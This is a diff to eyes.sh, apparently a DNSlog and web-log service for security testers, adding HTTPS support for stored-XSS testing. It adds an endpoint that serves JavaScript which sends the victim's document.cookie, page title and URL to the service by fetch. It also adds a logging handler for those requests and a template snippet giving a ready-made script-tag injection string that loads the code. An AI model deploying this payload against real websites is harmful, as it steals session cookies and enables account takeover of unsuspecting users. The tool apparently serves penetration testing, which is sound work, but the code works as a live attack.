diff --git a/README.md b/README.md index 4dd0b59..704e245 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# eyes.sh 1.0.3 +# eyes.sh 1.0.4 View this doc in [English](README_EN.md). @@ -11,6 +11,7 @@ View this doc in [English](README_EN.md). ## Chang Log +* 2024-06-08： 增加HTTPS支持，解决XSS漏洞利用时，可能出现https后台报错 **Mixed Content Warnings (HTTPS/SSL)** * 2024-06-02： 修复在DNS查询中串联IP查询功能，高并发请求时，响应慢的问题 * 2022-04-09： 增加多语言支持，添加英文翻译 * 2022-04-06： 注册用户名，限制只允许使用字母数字 diff --git a/README_EN.md b/README_EN.md index 62961f7..cb562c8 100644 --- a/README_EN.md +++ b/README_EN.md @@ -1,4 +1,4 @@ -# eyes.sh 1.0.3 +# eyes.sh 1.0.4 View this doc in [Chinese](README.md). @@ -19,6 +19,7 @@ Demo site [http://eyes.sh/](http://eyes.sh/) ## Chang Log +* 2024-06-06： Add SSL support, to get rid of **Mixed Content Warnings (HTTPS/SSL)** when exploiting stored XSS on https website * 2024-06-02： Bug fixed, a sync IP to geo location search (by HTTP) made DNS Server response too slow, especially under high concurrency queries * 2022-04-09： Add english translation diff --git a/dnslog/urls.py b/dnslog/urls.py index 726e403..5bef583 100644 --- a/dnslog/urls.py +++ b/dnslog/urls.py @@ -16,6 +16,8 @@ urlpatterns = [ re_path(r'^dns/$', views.dns_view, name='dns_view'), re_path(r'^dns/delete$', views.dns_delete, name='dns_delete'), re_path(r'^web/$', views.web_view, name='web_view'), + re_path(r'^x/$', views.get_xss_code, name='get_xss_code'), + re_path(r'^u/(.+?)/$', views.xss_request, name='xss_request'), re_path(r'^web/delete$', views.web_delete, name='web_delete'), re_path(r'^config/$', views.config_view, name='config_view'), re_path(r'^payloads/$', views.payloads_view, name='payloads_view'), diff --git a/logview/views.py b/logview/views.py index 63543a3..4130d69 100644 --- a/logview/views.py +++ b/logview/views.py @@ -266,6 +266,54 @@ def web_view(request): return log_view(request, 'web') +@csrf_exempt +def get_xss_code(request): + code = """ +fetch('https://%s/u/%s/', { +method: 'POST', +mode: 'no-cors', +body:"cookie=" + document.cookie+'&title='+ document.title + '&location='+ document.location.href +}); +""" % (settings.DNS_DOMAIN, request.GET.get('u', '')) + return HttpResponse(code.strip(), content_type='text/javascript') + + +@csrf_exempt +def xss_request(request, username): + http_host = request.get_host().split(':')[0] + if http_host not in settings.ADMIN_DOMAIN: + return HttpResponse(request.build_absolute_uri()) + + users = User.objects.filter(username=username) + if not users: + return HttpResponse("No such user") + + user_agent = request.META.get('HTTP_USER_AGENT') or '' + user_agent = user_agent[:250] + remote_addr = request.META.get('HTTP_X_REAL_IP') or request.META.get('REMOTE_ADDR') + path = http_host + request.get_full_path() + path = path[:250] + + if not http_host.endswith(settings.DNS_DOMAIN): + return HttpResponse("Server Gone", status=502) + + city = '' + request_headers = '' + for key in request.META: + if key.startswith('REQUEST_') or key.startswith('HTTP_') or key.startswith('CONTENT_'): + request_headers += key + ': ' + str(request.META[key]) + '\n' + + if request.META.get('REQUEST_METHOD') == 'POST': + request_headers += '\n' + request.body.decode() + + weblog = WebLog(user=users[0], path=path, remote_addr=remote_addr, + user_agent=user_agent, city=city, headers=request_headers) + weblog.save() + if path.find('/rpb.png') >= 0: # this is for AWVS Scanner + return HttpResponse('39a6ea3246b507782676a6d79812fa1d29e12e9c') + return HttpResponse('OK') + + def config_view(request): return log_view(request, 'config') @@ -382,6 +430,7 @@ def log_view(request, type): context['token'] = user.token context['username'] = user.username context['admin_domain'] = str(settings.ADMIN_DOMAIN) + context['xss_test_domain'] = str(settings.ADMIN_DOMAIN[0]) return render(request, 'views.html', context) diff --git a/templates/views.html b/templates/views.html index 3d19d6d..f9dfc54 100644 --- a/templates/views.html +++ b/templates/views.html @@ -269,7 +269,21 @@
- 一、命令执行场景 + Stored XSS Test Via HTTPS +
+
+

+ If you want to test XSS via https url to get rid of Mixed Content Warnings (HTTPS/SSL) +

+

+ + /> <script src="https://{{ xss_test_domain }}/x/?u={{ username }}"></script>< + +

+

Check javascript source code https://{{ xss_test_domain }}/x/?u={{ username }}

+
+
+ 命令执行场景

@@ -286,7 +300,7 @@

- 二、SQL注入场景 + SQL注入场景

@@ -315,7 +329,7 @@

- 三、XXE场景 + XXE场景

@@ -326,7 +340,7 @@

- 四、其他场景 + 其他场景

@@ -527,7 +541,7 @@ } else { $('#spinner_location').hide() } - + });